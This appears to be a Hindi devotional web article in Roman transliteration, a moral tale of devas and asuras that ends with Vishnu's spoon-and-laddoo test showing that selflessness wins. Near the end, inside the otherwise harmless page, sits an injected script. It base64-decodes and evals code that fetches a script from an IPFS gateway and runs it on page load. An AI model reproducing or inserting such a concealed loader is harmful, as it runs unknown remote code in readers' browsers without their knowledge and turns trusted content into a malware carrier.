विजय का रहस्य

vaidik kal mean prayah devataoan aur asuroan mean sangharsh hota rahata tha. ye donoan sabhyataean ek doosare ko nasht karane par tuli thian. devata daivi sampada ke agar the, asur poornataya bhautikavadi the. unamean anek prakar ki kamiyoan thian. ve atyant kroor evan atyachari the, jabaki devata chahate the ki sabhi shantiparvak rahean. jo achchhi batean ho unhean sabhi apanaean aur mil-julakar rahean. unaka uddeshy vibhinnata mean ekata tha, vibhinnata ko nasht karake ekata lana nahian tha. ved kahata hai-

sarve bhavantu sukhinah, sarve santu niramaya.
sarve bhadrani pashyantu, ma kashchit dukhabhagabhavet..
sab sukhi rahe, kisi ko bhay n ho, sabhi kalyan ko dekhean tatha kisi ko bhi du:kh prapt n ho .

lekin asur gan keval apane hi vishay mean sochate the, ve doosari vicharadharaoan ko sahan nahian karate the. ek bar devata aur asur brahma ji ke pas pahuanche aur unase atma ke vishay mean poochha. brahma ji ne kaha ki jal mean jhaankakar dekho, tumhe jo dikhaee dega, vahi atma hai. donoan ne jal mean jhaanka aur unhean apani soorat jal mean dikhaee di. donoan hi satusht hokar chale ge. asuroan ne apani buddhi ko lagane ka bilkul prayas nahian kiya aur yah samajh liya ki sharir hi sab kuchh hai. isako hi sukhi rakhana kartavy hai. bas ve sansar ke bhogoan ko bhogane aur indriyoan ko har prakar se tript karane mean lag ge, lekin devataoan ne jab laut kar is par vichar kiya to yah samajha ki yah sharir to atma ho hi nahian sakata kyoanki atma to avinashi bataee jati hai jabaki yah sharir nity nasht hota hua dikhaee p data hai. ve punah brahma ji ke pas pahuanche aur apani shanka unake samane rakhi. brahma ji ne phir unase jal mean dekhane ke lie kaha. abaki bar unhoanne netroan mean jisako akiant hue paya use atma samajha lekin yah netro mean jhaankata hua purush sote samay kahaan chala jata hai. atah ve bar-bar brahma ji ke pas jate rahe jab tak ki unhoanne atma ka anubhav n kar liya. asur apane sharir ko lekar hi rah ge aur usase age nahian badh sake. ve ghor svarthi tatha asamajik ban ge. isi vishay ko aur spasht karane ke lie nimn katha hai-

devataoan aur asuroan mean ek bar is bat par vivad chhi d gaya ki un donoan mean kaun b da hai. asuroan ne apani virata, kootaniti tatha devataoan par anek bar hone vali apani vijayoan ka varnan kiya, jabaki devataoan ne bhi apani adhyatmik shaktiyoan tatha asuro ko yuddh mean parast karake bhaga dene ka varnan kiya. jab kisi prakar bhi nirnay nahian ho paya to yah nishchay hua ki vishnu ji ke pas chala jae aur unase nirnay karaya jae kyoanki ve hi devataoan mean nishpaksh tatha sabake sath saman vyavahar karane vale haian. bhagavan vishnu ne shantipoorvak donoan ke tark sune aur bole, 'dekho bhaee, maianne tum donoan ke vichar achchhi tarah sune. maian samajhata hooan ki yadi maianne svany tumhare tarkoan ke adhar par nirnay diya to ho sakata hai ki tumamean se kisi ko achchha n lage aur vah samajha jae ki maian pakshapat kar raha hooan, kyoanki maian bhi devataoan ki shreni mean ata hooan, isalie maian ap donoan ke samane ek pariksha rakh raha hooan, jo bhi usamean uttirn hoga vahi doosare se shreshth mana jaega.' devata aur asur donoan ko yah bat bahut achchhi lagi aur unhoanne apani svikriti de di.

ek sthan par ek ladduoan ki bahut b di parat rakh di gee. sarvapratham asuroan ko bulaya gaya. unake hathoan mean b de chamache is tarah baandhe ge ki unaki dandi kohani se pichhe nikal gee jisase kohani kisi or bhi mu d nahian sakati thi. chamache ka age ka gol sira hathoan se age nikala hua tha. ab unase kaha gaya ki in ladduoan ko ek ghante ke andar-andar kha dalana hai. asur tuanrat un ladduoan par jhapate aur unhean apane muanh mean dalane lage, lekin hath to sidha kh da tha. kisi ka laddoo aankh par, kisi kar gal par aur kisi ka nak par gira. do-char asur jinake muanh bahut b de the, kuchh laddoo kha sake. shesh sab ek ghanta bit jane ke pashchath bhi yooan hi rakhe the. samay samapt ho gaya, asuroan ko hata diya gaya aur bari thi devataoan ki. unake hathoan mean bhi usi prakar chamache baandh die aur unase bhi ek ghante ke andar laddoo khane ke lie kaha gaya. devataoan ne kuchh kshan vichar kiya aur phir savadhanipoorvak laddoo uthakar bajay svayan khane ka prayas karane ke, ek-doosare ko khilane prarambh kar die. ek ghante se pahale hi sare laddoo samapt ho ge.

devataoan aur asuroan ke nirnayak mandal ne jis bhagavan vishnu ne prarambh mean hi bana diya tha tatha jisake sath ve nirantar baithe rahe the taki un par yah arop n ae ki unhoanne devataoan ko yukti bata di hogi, svayan yah nirnay diya ki devata vijayi hue haian aur asur parast ho ge. to yah aantar hai shreshth aur nikrisht mean, ooanch aur nich me, paropakar aur puny mean. jo doosare ka dhyan rakhate haian, doosare ke hit mean lage rahate haian, ve hi b de haian. svarthi aur keval apane aur apane parivar tak simit log atyant chhote hote haian. ve samaj aur rashtr ke lie atyant ghatak tatha shatruoan ke saman hi haian. apane labh ke lie ve kisi bhi sima tak ja sakate haian. isalie gita mean bhagavan shrikrishna kahate haian ki jo keval apane lie pakata hai vah to pap ko hi khata hai.

purandhian janay arthat bahut se uttam karm karane mean samarth buddhi ko utpann karo. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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